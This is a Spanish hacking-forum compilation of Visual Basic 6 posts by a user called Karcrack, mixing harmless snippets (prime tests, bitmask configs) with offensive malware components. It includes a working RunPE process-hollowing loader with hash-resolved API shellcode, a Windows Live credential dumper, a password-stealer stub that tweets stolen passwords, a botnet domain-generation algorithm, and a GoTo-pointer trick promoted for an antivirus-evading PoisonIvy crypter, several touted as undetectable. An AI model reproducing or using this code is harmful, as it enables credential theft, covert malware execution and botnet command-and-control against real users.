Temas

[Originalmente posteado en:]

Código (vb) [Seleccionar] Expandir

'ADVAPI32
Private Declare Function CheckTokenMembership Lib "ADVAPI32" (ByVal TokenHandle As Long, ByVal pSidToCheck As Long, ByRef IsMember As Boolean) As Long

'---------------------------------------------------------------------------------------
' Procedure : IsUserAnAdmin
' Author    : Karcrack
' Date      : 300710
' Purpose   : Check wether the user is in the Administrator Group
' TestedOn  : Windows XP SP3
'---------------------------------------------------------------------------------------
'
Private Function IsUserAnAdmin() As Boolean
   Dim SID(1)  As Currency
   'Hardcoded SID
   SID(0) = 36028797018964.0193@: SID(1) = 233646220.9056@
   Call CheckTokenMembership(0, VarPtr(SID(0)), IsUserAnAdmin)
End Function

Es un pequeño codigo minimalista (como a mi me gusta ) que reemplaza a la funcion IsUserAnAdmin@SHELL32, que es simplemente un wrapper a CheckTokenMembership@ADVAPI32

Como podeis comprobar el SID (Security IDentifier) esta hardcodeado... asi que me gustaria que lo probaseis en vuestros PCs, no deberia fallar, pero nunca se sabe

Originalmente posteado en:

Código [Seleccionar] Expandir

http://cobein.com/wp/?p=559

Saludos

Código (vb) [Seleccionar] Expandir

Option Explicit

Public Type KERNEL_USER_TIMES
    liCreateTime            As Currency 'LARGE_INTEGER
    liExitTime              As Currency 'LARGE_INTEGER
    liKernelTime            As Currency 'LARGE_INTEGER
    liUserTime              As Currency 'LARGE_INTEGER
End Type

'NTDLL
Private Declare Function NtQueryInformationProcess Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal ProcessInformationClass As Long, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Long, ReturnLength As Long) As Long

Private Const ProcessTimes  As Long = &H4
Public Const CurrentProcess As Long = -1

'---------------------------------------------------------------------------------------
' Procedure : GetProcessTimes
' Author    : Karcrack
' Date      : 290710
' Purpose   : Get some Process Time Info... like when it was created...
'---------------------------------------------------------------------------------------
'
Public Function GetProcessTimes(ByVal hProc As Long) As KERNEL_USER_TIMES
    Call NtQueryInformationProcess(hProc, ProcessTimes, VarPtr(GetProcessTimes), &H20, ByVal 0&)
End Function

Reemplazo nativo a GetProcessTimes@KERNEL32, permite por ejemplo, obtener la hora en la que se inicio un proceso

Saludos

 

Código (vb) [Seleccionar] Expandir

Option Explicit
Option Base 0
'---------------------------------------------------------------------------------------
' Module    : mCopyMemoryASM
' Author    : Karcrack
' Date      : 280710
' Purpose   : A kewl RtlMoveMemory/CopyMemory replacement using ASM :)
'---------------------------------------------------------------------------------------

'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCodePointer As Long, Optional ByVal l1 As Long, Optional ByVal l2 As Long, Optional ByVal l3 As Long, Optional ByVal l4 As Long) As Long

Private bvCode(20)      As Byte
'{
'    PUSH ESI
'    PUSH EDI
'    MOV EDI,DWORD PTR SS:[ESP+C]
'    MOV ESI,DWORD PTR SS:[ESP+10]
'    MOV ECX,DWORD PTR SS:[ESP+14]
'    REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
'    POP EDI
'    POP ESI
'    RETN 10
'}
Private bInitialized    As Boolean

Public Function ASM_Initialize() As Boolean
    On Error GoTo Initialize_Error
    Dim i               As Long

    For i = 0 To 20
        bvCode(i) = CByte(Choose(i + 1, &H56, &H57, &H8B, &H7C, &H24, &HC, &H8B, &H74, &H24, &H10, &H8B, &H4C, &H24, &H14, &HF3, &HA4, &H5F, &H5E, &HC2, &H10, &H0))
    Next i
   
    bInitialized = True
    ASM_Initialize = True
   
    On Error GoTo 0
    Exit Function
Initialize_Error:
    ASM_Initialize = False
End Function

Public Sub ASM_CopyMemory(ByVal Source As Long, ByVal Destination As Long, ByVal Length As Long)
    If bInitialized = True Then
        Call CallWindowProcW(VarPtr(bvCode(0)), Destination, Source, Length)
    End If
End Sub

'PutMem4 Wrapper
Public Sub ASM_PutMem4(ByVal lLong As Long, ByVal Destination As Long)
    Call ASM_CopyMemory(VarPtr(lLong), Destination, &H4)
End Sub

'GetMem4 Wrapper
Public Function ASM_GetMem4(ByVal Source As Long) As Long
    Call ASM_CopyMemory(Source, VarPtr(ASM_GetMem4), &H4)
End Function

*Actualizado

Ejemplo:

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
   Dim x       As Long
   Dim y       As Long
   Dim i       As String
   Dim n       As String
   
   If ASM_Initialize = True Then
       x = &H1337
       Call ASM_CopyMemory(VarPtr(x), VarPtr(y), &H4)
       Debug.Print Hex$(x), Hex$(y)
       y = 0
       Call ASM_PutMem4(x, VarPtr(y))
       Debug.Print Hex$(ASM_GetMem4(VarPtr(x)))
       Debug.Print Hex$(x), Hex$(y)
       i = "KARCRACK_ES_GUAY!!!!!!!"
       n = Space$(Len(i))
       Call ASM_CopyMemory(StrPtr(i), StrPtr(n), LenB(i))
       Debug.Print i
       Debug.Print n
   End If
End Sub

Saluuudos

Bueno, esta es la version mas corta que encontrareis del famoso RunPE

Código (vb) [Seleccionar] Expandir

Option Explicit
Option Base 0

'---------------------------------------------------------------------------------------
' Module    : kRunPe
' Author    : Karcrack
' Date      : 230710
' Purpose   : Shortest way to Run PE from ByteArray
'---------------------------------------------------------------------------------------

Private Type DWORD_L
    D1                          As Long
End Type

Private Type DWORD_B
    B1      As Byte:    B2      As Byte
    B3      As Byte:    B4      As Byte
End Type

'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long

Private bInitialized_Inv        As Boolean
Private ASM_gAPIPTR(170)        As Byte
Private ASM_cCODE(255)          As Byte

Private Const KERNEL32          As String = "KERNEL32"
Private Const NTDLL             As String = "NTDLL"

Public Function RunPE(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Boolean
    Dim hModuleBase             As Long
    Dim hPE                     As Long
    Dim hSec                    As Long
    Dim ImageBase               As Long
    Dim i                       As Long
    Dim tSTARTUPINFO(16)        As Long
    Dim tPROCESS_INFORMATION(3) As Long
    Dim tCONTEXT(50)            As Long
   
    hModuleBase = VarPtr(bvBuff(0))
   
    If Not GetNumb(hModuleBase, 2) = &H5A4D Then Exit Function
   
    hPE = hModuleBase + GetNumb(hModuleBase + &H3C)
   
    If Not GetNumb(hPE) = &H4550 Then Exit Function

    ImageBase = GetNumb(hPE + &H34)
   
    tSTARTUPINFO(0) = &H44
    'CreateProcessW@KERNEL32
    Call Invoke(KERNEL32, &H16B3FE88, StrPtr(sHost), StrPtr(sParams), 0, 0, 0, &H4, 0, 0, VarPtr(tSTARTUPINFO(0)), VarPtr(tPROCESS_INFORMATION(0)))
    'NtUnmapViewOfSection@NTDLL
    Call Invoke(NTDLL, &HF21037D0, tPROCESS_INFORMATION(0), ImageBase)
    'NtAllocateVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HD33BCABD, tPROCESS_INFORMATION(0), VarPtr(ImageBase), 0, VarPtr(GetNumb(hPE + &H50)), &H3000, &H40)
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase, VarPtr(bvBuff(0)), GetNumb(hPE + &H54), 0)
   
    For i = 0 To GetNumb(hPE + &H6, 2) - 1
        hSec = hPE + &HF8 + (&H28 * i)
       
        'NtWriteVirtualMemory@NTDLL
        Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase + GetNumb(hSec + &HC), hModuleBase + GetNumb(hSec + &H14), GetNumb(hSec + &H10), 0)
    Next i

    tCONTEXT(0) = &H10007
    'NtGetContextThread@NTDLL
    Call Invoke(NTDLL, &HE935E393, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), tCONTEXT(41) + &H8, VarPtr(ImageBase), &H4, 0)
   
    tCONTEXT(44) = ImageBase + GetNumb(hPE + &H28)

    'NtSetContextThread@NTDLL
    Call Invoke(NTDLL, &H6935E395, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
    'NtResumeThread@NTDLL
    Call Invoke(NTDLL, &HC54A46C8, tPROCESS_INFORMATION(1), 0)
   
    hProcess = tPROCESS_INFORMATION(0)
    RunPE = True
End Function

Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0)
End Function

Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
    Dim vItem                   As Variant
    Dim bsTmp                   As DWORD_B
    Dim lAPI                    As Long
    Dim i                       As Long
    Dim w                       As Long
   
    If Not bInitialized_Inv Then
        For i = 0 To 170
            ASM_gAPIPTR(i) = CByte(Choose(i + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
                            &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
        Next i
        i = 0
        bInitialized_Inv = True
    End If
   
    lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash)
   
    If lAPI Then
        For w = UBound(vParams) To LBound(vParams) Step -1
            bsTmp = SliceLong(CLng(vParams(w)))
            '// PUSH ADDR
            Call PutByte(&H68, i)
            Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
            Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
        Next w
       
        bsTmp = SliceLong(lAPI)
        '// MOV EAX, ADDR
        Call PutByte(&HB8, i)
        Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
        Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
        '// CALL EAX
        Call PutByte(&HFF, i):      Call PutByte(&HD0, i)
        '// RET
        Call PutByte(&HC3, i)
       
        Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0)))
    End If
End Function

Private Sub PutByte(ByVal bByte As Byte, ByRef iCounter As Long)
    ASM_cCODE(iCounter) = bByte
    iCounter = iCounter + 1
End Sub

Private Function SliceLong(ByVal lLong As Long) As DWORD_B
    Dim tL                      As DWORD_L
   
    tL.D1 = lLong
    LSet SliceLong = tL
End Function

Ejemplo de uso:

Código (vb) [Seleccionar] Expandir

   Dim x()     As Byte
   Open Environ$("WINDIR") & "\SYSTEM32\calc.exe" For Binary As #1
       ReDim x(0 To LOF(1) - 1)
       Get #1, , x
   Close #1
   Call RunPE(x, Environ$("WINDIR") & "\SYSTEM32\notepad.exe")

Esta un poco desordenado, no tiene comentarios, he eliminado las estructuras, utiliza ASM, hashes... bastante follon para entenderlo sin saber nada de los RunPE

Cualquier duda preguntad

Saludos

[La funcion ha de devolver un Collection con todos los numeros primos que componen ese numero]

Otro reto; A ver quien hace la funcion de factorizacion mas rapida

Se trata de crear una funcion que factorice cualquier numero entero positivo...

La funcion ha de devolver un Collection con todos los numeros primos que componen ese numero

Para medir el tiempo necesario se utilizará este codigo:

Código [Seleccionar] Expandir

Private tmr     As CTiming

Private Sub Form_Load()
    Dim x       As Long
    Dim vItem   As Variant
   
    Set tmr = New CTiming
    tmr.Reset
   
    For x = 0 To 4096
        'Debug.Print x, ;
        'For Each vItem In iFactorize(x)
        '    Debug.Print vItem;
        'Next vItem
        'Debug.Print
        Call iFactorize(x)
    Next x
   
    MsgBox tmr.sElapsed
End Sub

cTiming.cls

+Info

Código [Seleccionar] Expandir

http://en.wikipedia.org/wiki/Integer_factorization
http://es.wikipedia.org/wiki/Factorizaci%C3%B3n_de_enteros

Suerte, espero que participeis muchos

[TweetWLM]

Bueno, TweetWLM, como yo lo he bautizado, es una simple aplicacion programada por mi que recupera las contraseñas del WLM y las Tweetea en tu Twitter Es recomendable tener un twitter cerrado al publico para ese uso

Es FUD:

Código [Seleccionar] Expandir

http://www.virustotal.com/es/analisis/f34627c59552a4c0f721786488a3af25a85b6d9cdbb0f5f675621f8c471fdeea-1278896349
Estoy al corriente de que VT comparte las muestras, pero no me preocupa, cualquiera que tenga idea sobre programacion es capaz de hacer FUD el codigo de nuevo

Descargar:
Bin:

Código [Seleccionar] Expandir

http://www.box.net/shared/a8vpqkp5mf
Src:

Código [Seleccionar] Expandir

http://www.box.net/shared/pozkqp2n7f

El codigo y el binario pertenecen unicamente al STUB asi que para establecer la cuenta de twitter donde se postearan las contraseñas teneis que seguir estas instrucciones:

• Abrir el ejecutable con un programa que permita modificar la informacion de version del fichero
• Poner en el valor 'Comments' la contraseña de la cuenta
• Poner en el valor 'ProductName' el nombre de la cuenta

Ejemplo:


No se si queda muy claro este post, pero tengo sueño, asi que buenas noches

[Ejemplo de uso:]

Código (vb) [Seleccionar] Expandir

Option Explicit

'KERNEL32
Private Declare Function GetProcessHeap Lib "KERNEL32" () As Long
'ADVAPI32
Private Declare Function CredEnumerateW Lib "ADVAPI32" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
'CRYPT32
Private Declare Function CryptUnprotectData Lib "CRYPT32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As Long) As Long
'NTDLL
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long, ByVal pBuffer As Long, ByVal NumberOfBytesToWrite As Long, ByRef NumberOfBytesWritten As Long) As Long
Private Declare Function RtlFreeHeap Lib "NTDLL" (ByVal HeapHandle As Long, ByVal Flags As Long, ByVal MemoryPointer As Long) As Long

Private Type DATA_BLOB
   cbData                  As Long
   pbData                  As Long
End Type

Public Type ACCOUNT_INFO
   sMail                   As String
   sPassword               As String
End Type

Public Function sMSN() As ACCOUNT_INFO()
   Dim tTMP()      As ACCOUNT_INFO
   Dim i           As Long
   Dim x           As Long
   Dim lCount      As Long
   Dim lCred       As Long
   Dim lPtr        As Long
   Dim lUser       As Long
   Dim tBlobIn     As DATA_BLOB
   Dim bvGUID(4)   As Currency
   
   bvGUID(0) = 2814797012434.9527@
   bvGUID(1) = 2139259215904.7791@
   bvGUID(2) = 1632598244864.8297@
   bvGUID(3) = 2842944080556.8622@
   bvGUID(4) = 275.2573@
   'bvGUID = "WindowsLive:name=*"
   
   Call CredEnumerateW(VarPtr(bvGUID(0)), 0, lCount, lCred)

   For i = 0 To lCount - 1
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(lPtr), ByVal lCred + (i * &H4), &H4, 0)
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(lUser), ByVal (lPtr + &H30), &H4, 0)
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(tBlobIn.cbData), ByVal (lPtr + &H18), &H8, 0)
       
       Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, 0&)
       
       If tBlobIn.cbData Then
           ReDim Preserve tTMP(x)
           With tTMP(x)
               .sPassword = Space$(tBlobIn.cbData \ 2)
               Call NtWriteVirtualMemory(-1, ByVal StrPtr(.sPassword), ByVal tBlobIn.pbData, tBlobIn.cbData, 0)
               If Len(.sPassword) > 0 Then
                   .sMail = uReadStr(lUser)
               End If
           End With
           x = x + 1
       End If
   Next i
   
   Call RtlFreeHeap(GetProcessHeap(), 0, lCred)
   
   sMSN = tTMP
End Function

Private Function uReadStr(ByVal lPtr As Long) As String
   Dim iChar       As Integer
   Dim i           As Long
   
   Do
       Call NtWriteVirtualMemory(-1, ByVal VarPtr(iChar), ByVal (lPtr + i * 2), 2, ByVal 0&)
       i = i + 1
       If iChar = 0 Then Exit Do
       uReadStr = uReadStr & ChrW$(iChar)
   Loop
End Function

Código [Seleccionar] Expandir

http://www.virustotal.com/es/analisis/2d7deb3a66001d026c2267bec22393727c97ee4ac70bb3995b10622518391189-1278876972
Ale, a ver cuanto dura FUD

Ejemplo de uso:

Código (vb) [Seleccionar] Expandir

    Dim i   As Long
    Dim x() As ACCOUNT_INFO
   
    x = sMSN
   
    For i = LBound(x) To UBound(x)
        Debug.Print x(i).sMail, x(i).sPassword
    Next i

A disfrutar!!!

[Un ejemplo de uso? Aqui teneis :]

Muchas veces cuando estas programando algo te ves en la necesidad de comunicar dos partes de tu software para que compartan cierta configuracion... como un Builder y un Stub... o un Cliente y un Server...

Cuando esa informacion que han de compartir son simples Booleans (Si/No) como, activar deteccion de Virtual Machines, Melt.. etc... Simplemente puedes almacenar una gran lista de parametros en un simple Long (4Bytes)

He visto Aplicaciones que envian/almacenan cosas como: "ON" o "OFF", si si, en cadenas de texto... Ademas de no ser nada optimo es horroroso por ejemplo abrir el EXE y ver como 20 "ON"s y "OFF"s

Si no me equivoco Cobein ya posteo un codigo que trabajaba con Bitmasks... pero bueno, aqui esta el mio

Aqui va:

Código (vb) [Seleccionar] Expandir

Public Function ReadConfig(ByVal lSrc As Long, ByVal iPos As Integer) As Boolean
   ReadConfig = (lSrc And 2 ^ iPos)
End Function

Public Function SaveConfig(ParamArray vValues() As Variant) As Long
   Dim i       As Long
   Dim vTmp()  As Variant
   
   vTmp = vValues
   ReDim Preserve vTmp(0 To 30)
   
   SaveConfig = 0
   For i = 0 To 30
       If vTmp(i) Then SaveConfig = (SaveConfig Or 2 ^ i)
   Next i
End Function

Un ejemplo de uso? Aqui teneis :

Código (vb) [Seleccionar] Expandir

Private Const lSavedConfig  As Long = &H16E  'SaveConfig(False, True, True, True, False, True, True, False, True, False)

Private Sub Form_Load()
   Dim x       As Long
   
   For x = 0 To 30
       If ReadConfig(lSavedConfig, x) = True Then
           MsgBox "La opcion nº" & x & " esta activada"
       End If
   Next x
End Sub

Public Function ReadConfig(ByVal lSrc As Long, ByVal iPos As Integer) As Boolean
   ReadConfig = (lSrc And 2 ^ iPos)
End Function

Simplemente generas el numero con la funcion SaveConfig() que te permite guardar hasta 31 Booleans/Opciones, luego con la funcion ReadConfig() le pasas el numero de la opcion y la lees

Saludos, espero que os sea de utilidad

[MOD:]

Bueno, me hacia falta hacer una funcion de este tipo para un trabajito que estoy haciendo ... y he pensado que tal vez os seria util...

Código (vb) [Seleccionar] Expandir

Public Function IsItPrime(ByVal lNumber As Long) As Boolean
   Dim i       As Long
   
   If (lNumber > 2) And (lNumber Mod 2) Or (lNumber = 2) Then
       For i = 2 To (lNumber ^ 0.5)
           If (lNumber Mod i) = 0 Then
               GoTo Exit_
           End If
       Next i
       IsItPrime = True
   End If
Exit_:
End Function

Podriamos hacer un jueguecito... a ver quien lo hace mas rapido/corto Os apuntais?

MOD: Yo utilizo este codigo para comprobar lo optimizado que esta:

Código [Seleccionar] Expandir

Option Explicit

Private n       As Long

Private Sub Form_Load()
   Dim x       As Long
   
   Timer1.Interval = 10
   Timer1.Enabled = True
   For x = 0 To 10 ^ 6
       Call IsItPrime(x)
       DoEvents
   Next x
   Timer1.Enabled = False
   MsgBox n * 10 & " ms"
End Sub

Public Function IsItPrime(ByVal lNumber As Long) As Boolean
   Dim i       As Long
   
   If (lNumber > 2) And (lNumber Mod 2) Or (lNumber = 2) Then
       For i = 2 To (lNumber ^ 0.5)
           If (lNumber Mod i) = 0 Then
               GoTo Exit_
           End If
       Next i
       IsItPrime = True
   End If
Exit_:
End Function

Private Sub Timer1_Timer()
   n = n + 1
End Sub

Hice esta aplicacion para subir nota en Informatica y pense que tal vez a alguien le sea de utilidad

Código (python) [Seleccionar] Expandir

## coding: utf-8

## Criba de Eratóstenes
def GetPrimes(n):
# Obtenemos el lado de la criba
nroot = int(n**0.5)
# Marcamos todos los numeros como primos
sieve = [True]*(n+1)
# El 0 y el 1 no son primos
sieve[0] = False
sieve[1] = False

# Recorremos todos los números de 2 hasta la raíz
for i in xrange(2, nroot+1):
# Si esta marcado como primo...
if sieve[i]:
# Obtenemos la cantidad de multiples en el rango
m = n/i - i
# Marcamos todos sus multiplos como NO primos
sieve[i*i: n+1:i] = [False] * (m+1)
# Devolvemos solo los primos del rango
return [i for i in xrange(n+1) if sieve[i]]

while True:
try:
n = int(raw_input("Dame un número:"))
if (n % 2 == 0) and (n > 2):
break
int("x")
except:
print "Se necesita un número entero par mayor que 2."

print "*"*50
print "Se aplicará la conjetura fuerte de Goldbach."
print "Esta establece que cualquier número par mayor que 2 puede \nexpresarse como suma de DOS números primos"
print "*"*50

p = GetPrimes(n)
l = 0

for w in p:
for v in p:
if w + v == n:
if w == l:
exit = True
break
l = v
print "%d+%d=%d" % (w,v,n)
if exit == True:
break

Mas info:

Código [Seleccionar] Expandir

http://es.wikipedia.org/wiki/Criba_de_Erat%C3%B3stenes
http://es.wikipedia.org/wiki/Conjetura_de_Goldbach

Saludos

[Utilidad?]

Código (vb) [Seleccionar] Expandir

Public Function GenerateDomain(ByVal dDate As Date, Optional ByVal lLength As Long = 5) As String
   Const sCharSet  As String = "abcdefghijklmnopqrstuvwxyz0123456789qwertyuiopasdfghjklñzxcvbnm0987654321"
   Dim sSuffix     As String
   Dim iDay        As Single
   Dim iMonth      As Single
   Dim iYear       As Single
   Dim lNumb       As Long
   Dim i           As Long
   Dim lPos        As Long
   
   iDay = Day(dDate)
   iMonth = Month(dDate)
   iYear = Year(dDate)
   
   sSuffix = Choose(((iMonth Xor iDay) Mod 9) + 1, "com", "net", "es", "co.uk", "ws", "org", "us", "info", "mx")
   
   lNumb = ((iYear And &HFF00&) \ &H100) * ((iDay * (Tan(iYear And &HFF))) Xor Cos(iMonth * 10))
   lNumb = Abs(lNumb)
   If lNumb Mod 2 Then lNumb = lNumb Xor (iYear \ (iMonth * iDay))
   
   For i = 1 To lLength
       lPos = Abs(((lNumb * (i Xor lNumb / 2)) Mod Len(sCharSet)) - Len(sCharSet))
       GenerateDomain = GenerateDomain & Mid$(sCharSet, lPos, 1)
   Next i
   
   GenerateDomain = GenerateDomain & "." & sSuffix
End Function

Esta funcion genera un nombre de dominio en base a una fecha

Utilidad? No se si sabreis algo sobre BotNets... pero imaginemos que queremos controlar una red de Zombies y , claro, utilizar un dominio fijo para la manejarlos no es seguro, ya que te lo capan y se acabo la juerga... Asi que tu compras los dominios por ejemplo de forma semanal, y tus Zombies generan cada Domingo el dominio al que se conectaran... Tachan!

Espero que se entienda para que sirve

Un ejemplo de BotNet que utiliza este sistema es la conocidisima Conficker

Ejemplo para hoy:

Código (vb) [Seleccionar] Expandir

Debug.Print GenerateDomain(Now, 10)
Hoy tendriamos que comprar este dominio:

Código [Seleccionar] Expandir

ra8530yzvu.net

Nos costaria 6€ al año, y en una semana nos dariamos de baja... ese es el precio de mantener viva to BotNet 6€ por semana , tambien se podria aplicar este metodo con servicios web gratuitos... pero nosostros somos empresarios de los buenos

Saludos

[htons@Ws2_32]

Código (vb) [Seleccionar] Expandir

Public Function htons(ByVal lPort As Long) As Integer
   htons = ((((lPort And &HFF000000) \ &H1000000) And &HFF&) Or ((lPort And &HFF0000) \ &H100&) Or ((lPort And &HFF00&) * &H100&) Or ((lPort And &H7F&) * &H1000000) Or (IIf((lPort And &H80&), &H80000000, &H0)) And &HFFFF0000) \ &H10000
End Function

He hecho esta alternativa a htons@Ws2_32 para un Shell que estoy haciendo y he pensado que os seria util.
La alternativa la he hecho para quitarme la declaracion de esa API, que siempre puede ser algo sospechosa

Simplemente lo que hace la funcion es revertir el orden de bytes y devolver solo el Integer significante... Por ejemplo:

666 decimal = 00000029A hexadecimal
Se invierten los bytes de orden: 9A020000
Y se devuelve el Integer (2 BYTES) mas significante, 9A02

Referencias:

Código [Seleccionar] Expandir

http://www.xbeat.net/vbspeed/c_SwapEndian.htm
http://www.xbeat.net/vbspeed/c_HiWord.htm

Saludos

[Mucho cuidado con esto]

Aqui os traigo una forma de llamar punteros en VB6 Si, si! Sin usar ningun API externa al VB, ni trucos con ASM

Código (vb) [Seleccionar] Expandir

Option Explicit

Private Type SUBROUTINE
    lNull           As Long '// Must be 0
    lPtr            As Long
End Type

Private Declare Function GoSubReturn Lib "MSVBVM60" Alias "__vbaGosubReturn" (ByRef lpSubRoutine As Long) As Long

'---------------------------------------------------------------------------------------
' Procedure : GoToPtr
' Author    : Karcrack
' Date      : 08/05/2010
' Purpose   : GoTo a pointer
' Warning   : It's not a JMP, is a GoTo, so the execution of the program won't continue
'           where you made the GoTo...
'---------------------------------------------------------------------------------------
'
Public Sub GoToPtr(ByVal lPtr As Long)
    Dim tSubRoutine As SUBROUTINE
   
    tSubRoutine.lPtr = lPtr
    Call GoSubReturn(VarPtr(tSubRoutine))
End Sub

Hay que tener mucho cuidado a que puntero llamamos, porque debido a que el Stack se deforma para hacer el salto no se puede volver al lugar desde el cual se llamo a la funcion... Mucho cuidado con esto

Es muy util para llamar a ShellCodes o para marear a la heuristica/proactiva de los AVs, yo por ejemplo lo estoy utilizando en un crypter que he hecho para el PoisonIvy (FUD Por cierto )

Asi que llameis al puntero que llameis teneis que acabar la ejecucion allí Estoy intentando arreglarlo, pero me parece que va a estar jodido usando este metodo

Aqui teneis un ejemplo:

Código (vb) [Seleccionar] Expandir

Sub Main()
    Call GoToPtr(gP(AddressOf RMain))
End Sub

Function gP(ByVal lPtr As Long) As Long
    gP = lPtr
End Function

Sub RMain()
    MsgBox "HOLA"
    End
End Sub

Saludos

Primero posteado en:

Calling Pointers in VB6

Comprueba si eres vulnerable... Abrirá una Calculadora de W$

Código [Seleccionar] Expandir

http://lock.cmpxchg8b.com/bb5eafbc6c6e67e11c4afc88b4e1dd22/testcase.html

Mas Info:

Código [Seleccionar] Expandir

http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1
blogs.eset-la.com/laboratorio/2010/04/09/vulnerabilidad-0-day-java/

[&HBC4DA2BE]

Existen gran cantidad de códigos por la red (algunos míos ) que permiten llamar APIs de forma Dinámica... es decir sin declararlas...

Que tiene este de especial? Que las llama mediante un Hash... Tal y como hacen los Shellcodes

Aquí un ejemplo de llamada:

Código (vb,1) [Seleccionar] Expandir

Call Invoke("USER32", &HBC4DA2BE, 0, StrPtr("Soy Karcrack :D"), StrPtr("Ejemplo"), 0)

&HBC4DA2BE es el Hash de la cadena "MessageBoxW", para generar los Hashes se utiliza el siguiente algoritmo:

Código (asm) [Seleccionar] Expandir


;ESI = Puntero cadena
compute_hash:
xor edi, edi     ;EDI = 0
xor eax, eax   ;EAX = 0
cld
compute_hash_again:
lodsb                ;AL = BYTE[ESI] , ESI = ESI + 1
test al, al
       jz compute_hash_finished
ror edi, 0xD
add edi, eax
       jmp compute_hash_again
compute_hash_finished:
;EDI = El Hash de la cadena

De todas formas he hecho una pequeña herramienta para que genera los Hashes

Código [Seleccionar] Expandir

http://www.box.net/shared/0ld4yy6bmy
Codigo Fuente incluido

Bueno, aquí esta el código principal:

Código (vb) [Seleccionar] Expandir

'---------------------------------------------------------------------------------------
' Module    : kInvoke
' Author    : Karcrack
' Date      : 09/04/2010
' Purpose   : Call APIs By Hash
'---------------------------------------------------------------------------------------

Option Explicit

'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long

Private Const THUNK_GETAPIPTR       As String = "E82200000068A44E0EEC50E84300000083C408FF742404FFD0FF74240850E83000000083C408C3565531C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE789E85D5EC35552515356578B6C241C85ED74438B453C8B54057801EA8B4A188B5A2001EBE330498B348B01EE31FF31C0FCAC84C07407C1CF0D01C7EBF43B7C242075E18B5A2401EB668B0C4B8B5A1C01EB8B048B01E85F5E5B595A5DC3"
Private Const THUNK_CALLCODE        As String = "<PUSHES>B8<API_PTR>FFD0C3"
Private ASM_GETAPIPTR(0 To 170)     As Byte
Private ASM_CALLCODE(0 To 255)      As Byte

Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
    Dim vItem                       As Variant
    Dim lAPI                        As Long
    Dim sThunk                      As String
   
    Call PutThunk(THUNK_GETAPIPTR, ASM_GETAPIPTR)
    lAPI = CallWindowProcW(VarPtr(ASM_GETAPIPTR(0)), StrPtr(sDLL), hHash)
   
    If lAPI Then
        For Each vItem In vParams
